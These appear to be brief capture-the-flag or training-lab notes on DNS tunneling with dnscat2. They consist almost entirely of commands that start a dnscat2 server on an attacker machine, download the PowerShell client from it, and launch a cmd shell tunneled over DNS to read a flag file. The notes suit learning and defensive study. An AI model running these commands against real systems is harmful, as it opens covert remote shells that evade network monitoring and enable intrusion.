DNS Tunneling with Dnscat2

June 24, 2024

sudo ruby ./dnscat2.rb --dns host=10.10.14.199,port=53,domain=inlanefreight.local --no-cache

wget http://10.10.14.199:8000/dnscat2.ps1 -OutFile dnscat2.ps1

Import-Module .\dnscat2.ps1

Start-Dnscat2 -DNSserver 10.10.14.199 -Domain inlanefreight.local -PreSharedSecret 0aba37ac1eb69f3236f815d902fc4e19 -Exec cmd

Now we can see from our attack machine that we have a window created

window -i 2

cd /Users/htb-student/Documents
type flag.txt